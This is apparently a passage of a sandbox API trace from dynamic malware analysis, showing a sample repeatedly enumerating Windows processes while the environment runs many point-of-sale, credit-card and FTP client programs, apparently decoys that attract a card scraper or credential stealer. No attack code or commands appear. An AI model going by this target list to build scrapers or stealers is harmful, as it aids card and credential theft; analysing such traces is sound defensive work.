lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0242.013] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0242.015] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0242.017] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0242.019] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0242.020] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0242.022] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0242.023] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0242.025] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0242.027] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0242.028] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0242.030] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0242.032] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0242.033] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0242.035] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0242.036] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0242.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0242.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0242.041] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0242.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0242.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0242.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0242.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0242.049] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0242.109] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0242.111] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.113] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.115] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.117] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0242.119] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0242.120] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.122] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0242.123] CloseHandle (hObject=0x13b0) returned 1 [0242.123] Sleep (dwMilliseconds=0x64) [0242.166] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0242.177] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.178] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.180] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.181] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.231] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.232] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.234] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.235] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.236] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.238] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.240] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.241] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.242] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.244] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.246] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.247] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.249] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.251] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.271] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.274] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.276] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.278] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.280] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.282] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.284] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.335] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.336] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.338] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.339] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0242.341] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0242.342] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.343] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.345] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0242.346] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0242.348] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0242.349] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0242.351] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0242.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0242.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0242.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0242.356] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0242.358] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0242.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0242.360] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0242.362] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0242.364] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0242.366] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0242.367] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0242.368] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0242.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0242.371] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0242.373] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 